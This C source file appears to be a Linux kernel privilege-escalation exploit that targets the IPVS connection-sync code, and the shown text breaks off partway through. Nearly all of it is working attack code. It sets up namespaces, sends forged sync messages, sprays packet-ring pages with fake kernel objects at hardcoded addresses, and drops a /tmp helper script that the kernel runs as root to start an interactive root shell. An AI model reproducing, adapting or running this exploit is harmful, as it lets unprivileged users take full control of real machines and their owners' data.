1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| /*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/genetlink.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/ip_vs.h>
#include <linux/netlink.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <unistd.h>
extern uint64_t leak_image_slide(int map_count);
extern uint64_t leak_phys_map_base_stable(int map_count);
#define CHECK(x, what) do { if ((x) < 0) { perror(what); exit(1); } } while (0)
#define NLA_DATA_LOCAL(nla) ((void *)((char *)(nla) + NLA_HDRLEN))
#define SYNC_GROUP "224.0.0.81"
#define SYNC_PORT 8848
#define SYNC_BATCH 32
#define VIP "127.0.0.1"
#define RIP "127.0.0.2"
#define VPORT 5353
#define DPORT 5354
#define FWMARK 0x1337
#define ANCHOR_PAGES 131072
#define EXPIRY_SECONDS 5
#define EXPIRY_SETTLE_SECONDS 9
#define IPVS_OBJECT_SIZE 320
#define PHYS_PFN_FIRST 512
#define PHYS_PFN_SPAN 261000
#define PHYSMAP_EDGE_FAILURE 0xffff888080000000ULL
#define OFF_IPVS_NET 2024
#define OFF_FAKE_PE 0x800
#define OFF_PE_NAME 16
#define OFF_PE_SHOW 64
#define OFF_HELPER_PATH 0x900
#define OFF_FAKE_BPF_OPS 0xa00
#define LINK_LINUX_BANNER 0xffffffff821942c0ULL
#define LINK_ENVP_INIT 0xffffffff82c10020ULL
#define LINK_ARGV_INIT 0xffffffff82c10140ULL
#define LINK_INIT_NET 0xffffffff838b6540ULL
#define LINK_UMH_EXEC_WORK 0xffffffff810e73f0ULL
#define LINK_BPF_MAP_FREE_RCU_GP 0xffffffff81280310ULL
/* A read-only in-image address whose +2024 word is &init_net. */
#define LINK_STATIC_IPVS 0xffffffff8216f910ULL
struct ip_vs_sync_mesg_v1 {
uint8_t reserved, syncid;
uint16_t size;
uint8_t nr_conns;
int8_t version;
uint16_t spare;
} __attribute__((packed));
struct ip_vs_sync_v4_wire {
uint8_t type, protocol;
uint16_t ver_size;
uint32_t flags;
uint16_t state, cport, vport, dport;
uint32_t fwmark, timeout, caddr, vaddr, daddr;
} __attribute__((packed));
struct ip_vs_svcdest_compat {
struct ip_vs_service_user s;
struct ip_vs_dest_user d;
};
static void write_text_file(const char *path, const char *text)
{
int fd = open(path, O_WRONLY);
ssize_t length = (ssize_t)strlen(text);
CHECK(fd, path);
if (write(fd, text, (size_t)length) != length) {
perror(path);
exit(1);
}
close(fd);
}
static void enter_namespaces(void)
{
char map[64];
uid_t uid = getuid();
gid_t gid = getgid();
struct ifreq ifr = { 0 };
int fd;
CHECK(unshare(CLONE_NEWUSER), "unshare user");
write_text_file("/proc/self/setgroups", "deny");
snprintf(map, sizeof(map), "0 %u 1\n", uid);
write_text_file("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1\n", gid);
write_text_file("/proc/self/gid_map", map);
CHECK(setresgid(0, 0, 0), "setresgid");
CHECK(setresuid(0, 0, 0), "setresuid");
CHECK(unshare(CLONE_NEWNET), "unshare net");
fd = socket(AF_INET, SOCK_DGRAM, 0);
CHECK(fd, "lo socket");
strcpy(ifr.ifr_name, "lo");
CHECK(ioctl(fd, SIOCGIFFLAGS, &ifr), "lo get flags");
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
CHECK(ioctl(fd, SIOCSIFFLAGS, &ifr), "lo set flags");
close(fd);
}
static void autoload_ipvs(void)
{
char request[256] = { 0 }, reply[8192];
struct nlmsghdr *nlh = (struct nlmsghdr *)request;
struct genlmsghdr *genl = NLMSG_DATA(nlh);
struct sockaddr_nl addr = { .nl_family = AF_NETLINK };
struct nlattr *attr;
ssize_t length;
int fd;
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 1;
genl->cmd = CTRL_CMD_GETFAMILY;
genl->version = 1;
attr = (struct nlattr *)(request + NLMSG_ALIGN(nlh->nlmsg_len));
attr->nla_type = CTRL_ATTR_FAMILY_NAME;
attr->nla_len = NLA_HDRLEN + sizeof("IPVS");
memcpy(NLA_DATA_LOCAL(attr), "IPVS", sizeof("IPVS"));
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(attr->nla_len);
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
CHECK(fd, "generic netlink socket");
CHECK(bind(fd, (struct sockaddr *)&addr, sizeof(addr)), "generic bind");
CHECK(sendto(fd, request, nlh->nlmsg_len, 0,
(struct sockaddr *)&addr, sizeof(addr)), "generic sendto");
length = recv(fd, reply, sizeof(reply), 0);
CHECK(length, "generic recv");
nlh = (struct nlmsghdr *)reply;
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *error = NLMSG_DATA(nlh);
if (error->error) {
errno = -error->error;
perror("autoload IPVS");
exit(1);
}
}
close(fd);
fprintf(stderr, "IPVS generic-netlink family resolved\n");
}
static int ipvs_sock(void)
{
int fd = socket(AF_INET, SOCK_DGRAM, 0);
CHECK(fd, "socket ipvs");
return fd;
}
static void start_backup(int fd)
{
struct ip_vs_daemon_user dm = { 0 };
dm.state = IP_VS_STATE_BACKUP;
dm.syncid = 1;
strcpy(dm.mcast_ifn, "lo");
CHECK(setsockopt(fd, IPPROTO_IP, IP_VS_SO_SET_STARTDAEMON,
&dm, sizeof(dm)), "IP_VS_SO_SET_STARTDAEMON");
}
static void add_service_dest(int fd)
{
struct ip_vs_service_user svc = { 0 };
struct ip_vs_svcdest_compat arg = { 0 };
svc.protocol = IPPROTO_UDP;
svc.fwmark = FWMARK;
strcpy(svc.sched_name, "rr");
CHECK(setsockopt(fd, IPPROTO_IP, IP_VS_SO_SET_ADD, &svc, sizeof(svc)),
"IP_VS_SO_SET_ADD");
arg.s = svc;
arg.d.addr = inet_addr(RIP);
arg.d.port = htons(DPORT);
arg.d.conn_flags = IP_VS_CONN_F_MASQ | IP_VS_CONN_F_ONE_PACKET;
arg.d.weight = 1;
CHECK(setsockopt(fd, IPPROTO_IP, IP_VS_SO_SET_ADDDEST, &arg, sizeof(arg)),
"IP_VS_SO_SET_ADDDEST");
}
static int sync_sender(void)
{
struct sockaddr_in dst = { .sin_family = AF_INET,
.sin_port = htons(SYNC_PORT), .sin_addr.s_addr = inet_addr(SYNC_GROUP) };
struct in_addr src = { .s_addr = inet_addr(VIP) };
int one = 1;
int fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
CHECK(fd, "sync socket");
CHECK(setsockopt(fd, IPPROTO_IP, IP_MULTICAST_IF, &src, sizeof(src)),
"IP_MULTICAST_IF");
CHECK(setsockopt(fd, IPPROTO_IP, IP_MULTICAST_LOOP, &one, sizeof(one)),
"IP_MULTICAST_LOOP");
CHECK(connect(fd, (struct sockaddr *)&dst, sizeof(dst)), "sync connect");
return fd;
}
static void send_phase(int fd, unsigned count, unsigned timeout,
unsigned first_id)
{
unsigned char buffer[sizeof(struct ip_vs_sync_mesg_v1) +
SYNC_BATCH * sizeof(struct ip_vs_sync_v4_wire)];
unsigned base;
for (base = 0; base < count; base += SYNC_BATCH) {
struct ip_vs_sync_mesg_v1 *header = (void *)buffer;
unsigned nr = count - base;
unsigned j;
size_t length;
if (nr > SYNC_BATCH)
nr = SYNC_BATCH;
memset(buffer, 0, sizeof(buffer));
header->syncid = 1;
header->nr_conns = (uint8_t)nr;
header->version = 1;
length = sizeof(*header) + nr * sizeof(struct ip_vs_sync_v4_wire);
header->size = htons((uint16_t)length);
for (j = 0; j < nr; j++) {
unsigned id = first_id + base + j;
struct ip_vs_sync_v4_wire *conn =
(void *)(buffer + sizeof(*header) +
j * sizeof(struct ip_vs_sync_v4_wire));
conn->protocol = IPPROTO_UDP;
conn->ver_size = htons(sizeof(*conn));
conn->flags = htonl(IP_VS_CONN_F_MASQ);
conn->cport = htons((uint16_t)(1024U + id % 60000U));
conn->vport = htons((uint16_t)(10000U + id));
conn->dport = htons(DPORT);
conn->timeout = htonl(timeout);
conn->fwmark = htonl(FWMARK);
conn->caddr = htonl(0xc6120001U + id);
conn->vaddr = inet_addr(VIP);
conn->daddr = inet_addr(RIP);
}
if (send(fd, buffer, length, 0) != (ssize_t)length) {
perror("send sync batch");
exit(1);
}
/* The backup thread has a small receive queue. Avoid leaving a
* handful of long-timeout objects in otherwise reclaimable slabs. */
usleep(20000);
}
}
static int prepare_packet_ring_socket(void)
{
int version = TPACKET_V1;
int fd = socket(AF_PACKET, SOCK_RAW, 0);
CHECK(fd, "AF_PACKET");
CHECK(setsockopt(fd, SOL_PACKET, PACKET_VERSION, &version,
sizeof(version)), "PACKET_VERSION");
return fd;
}
static void *packet_page_spray_fd(size_t pages, int fd)
{
struct tpacket_req req = { 0 };
size_t bytes = pages * 4096UL;
void *mapping;
req.tp_block_size = 4096;
req.tp_block_nr = (unsigned int)pages;
req.tp_frame_size = 2048;
req.tp_frame_nr = (unsigned int)(pages * 2);
CHECK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)),
"PACKET_RX_RING");
mapping = mmap(NULL, bytes, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED) {
perror("mmap packet ring");
exit(1);
}
return mapping;
}
static void *packet_page_spray(size_t pages, int *fd_out)
{
*fd_out = prepare_packet_ring_socket();
return packet_page_spray_fd(pages, *fd_out);
}
static void store_u64(void *p, uint64_t value)
{
memcpy(p, &value, sizeof(value));
}
static void stamp_anchor_pages(unsigned char *mapping, size_t pages,
uint64_t slide)
{
for (size_t page = 0; page < pages; page++) {
unsigned char *base = mapping + page * 4096;
memset(base, 0, 4096);
store_u64(base + OFF_IPVS_NET, LINK_INIT_NET + slide);
store_u64(base + OFF_FAKE_PE + OFF_PE_NAME,
LINK_LINUX_BANNER + slide);
store_u64(base + OFF_FAKE_PE + OFF_PE_SHOW,
LINK_BPF_MAP_FREE_RCU_GP + slide);
/*
* bpf_map_free_deferred() calls ops->map_free() from a root
* system-unbound worker. The same bytes also form a harmless
* terminal ip_vs_conn when seq_next follows the fake ops pointer.
*/
store_u64(base + OFF_FAKE_BPF_OPS + 24,
LINK_UMH_EXEC_WORK + slide);
store_u64(base + OFF_FAKE_BPF_OPS + 80,
LINK_STATIC_IPVS + slide);
memcpy(base + OFF_HELPER_PATH, "/tmp/_nebusec",
sizeof("/tmp/_nebusec"));
}
}
static void stamp_fake_connections(unsigned char *mapping, size_t pages,
uint64_t physmap, uint64_t slide,
uint64_t slot)
{
for (size_t page = 0; page < pages; page++) {
unsigned char *base = mapping + page * 4096;
memset(base, 0, 4096);
/* Build the overlapping map payloads first. Connection fields are
* stamped in a final pass so no map byte can accidentally clear the
* ipvs pointer of an adjacent terminator. */
for (size_t off = IPVS_OBJECT_SIZE; off + 288 <= 4096;
off += 2 * IPVS_OBJECT_SIZE, slot++) {
unsigned char *cp = base + off;
unsigned char *map = cp - 0xa0;
uint64_t pfn = PHYS_PFN_FIRST +
(slot * 131071ULL) % PHYS_PFN_SPAN;
uint64_t candidate = physmap + pfn * 4096;
/*
* The stale connection is map->work for a fake bpf_map beginning
* 0xa0 bytes earlier. bpf_map_free_rcu_gp() initializes all of the
* unknown self-referential work-list links before queueing it. The
* root worker then reaches the persistent fake map ops table.
*/
store_u64(map, candidate + OFF_FAKE_BPF_OPS);
store_u64(map + 40, candidate + OFF_HELPER_PATH);
store_u64(map + 48, LINK_ARGV_INIT + slide);
store_u64(map + 56, LINK_ENVP_INIT + slide);
store_u64(map + 64, 0); /* UMH_NO_WAIT */
}
/* Every real slab slot first becomes a harmless terminator. */
for (size_t off = 0; off + 288 <= 4096;
off += IPVS_OBJECT_SIZE) {
unsigned char *cp = base + off;
store_u64(cp + 80, LINK_STATIC_IPVS + slide);
store_u64(cp + 248, 0);
store_u64(cp + 256, 0);
}
/* Odd slots are active candidates. */
for (size_t off = IPVS_OBJECT_SIZE; off + 288 <= 4096;
off += 2 * IPVS_OBJECT_SIZE) {
unsigned char *cp = base + off;
uint64_t candidate_slot = slot -
((4096 - IPVS_OBJECT_SIZE) /
(2 * IPVS_OBJECT_SIZE) + 1) +
(off - IPVS_OBJECT_SIZE) /
(2 * IPVS_OBJECT_SIZE);
uint64_t pfn = PHYS_PFN_FIRST +
(candidate_slot * 131071ULL) % PHYS_PFN_SPAN;
uint64_t candidate = physmap + pfn * 4096;
store_u64(cp + 80, candidate);
store_u64(cp + 248, candidate + OFF_FAKE_PE);
store_u64(cp + 256, candidate + OFF_HELPER_PATH);
}
}
}
static void pin_cpu(unsigned cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
CHECK(sched_setaffinity(0, sizeof(set), &set), "sched_setaffinity");
}
static void prepare_root_helper(void)
{
char script[384];
int length;
int fd = open("/tmp/_nebusec", O_WRONLY | O_CREAT | O_TRUNC, 0755);
length = snprintf(script, sizeof(script),
"#!/bin/sh\n"
"exec 0</proc/%d/fd/0 1>/proc/%d/fd/1 2>/proc/%d/fd/2\n"
"echo '[SUCCESS] stock Debian root; starting /bin/bash -i'\n"
"exec /bin/bash -i\n",
getpid(), getpid(), getpid());
if (length < 0 || (size_t)length >= sizeof(script)) {
fprintf(stderr, "root helper script overflow\n");
exit(1);
}
CHECK(fd, "open helper");
if (write(fd, script, (size_t)length) != length) {
perror("write helper");
exit(1);
}
CHECK(fchmod(fd, 0755), "chmod helper");
close(fd);
}
static void walk_stale_table(void);
static void trigger_and_watch(unsigned char *map0, unsigned char *map1,
size_t pages_each)
{
pid_t pid = fork();
CHECK(pid, "fork stale-table trigger");
if (pid == 0) {
fprintf(stderr, "walking stale hash\n");
walk_stale_table();
_exit(3);
}
for (unsigned trial = 0; trial < 12000; trial++) {
for (unsigned which = 0; which < 2; which++) {
unsigned char *mapping = which ? map1 : map0;
for (size_t page = 0; page < pages_each; page++) {
unsigned char *base = mapping + page * 4096;
for (size_t off = IPVS_OBJECT_SIZE;
off + 288 <= 4096;
off += 2 * IPVS_OBJECT_SIZE) {
int retval;
memcpy(&retval, base + off - 0xa0 + 68,
sizeof(retval));
if (retval) {
dprintf(STDOUT_FILENO,
"UMH retval=%d ring=%u page=%zu off=%#zx\n",
retval, which, page, off);
_exit(2);
}
}
}
}
usleep(1000);
}
for (;;)
pause();
}
static void walk_stale_table(void)
{
char buffer[8192];
ssize_t total = 0, n;
int fd = open("/proc/1/net/ip_vs_conn", O_RDONLY);
CHECK(fd, "open ip_vs_conn");
while ((n = read(fd, buffer, sizeof(buffer))) > 0)
total += n;
if (n < 0)
perror("read ip_vs_conn");
|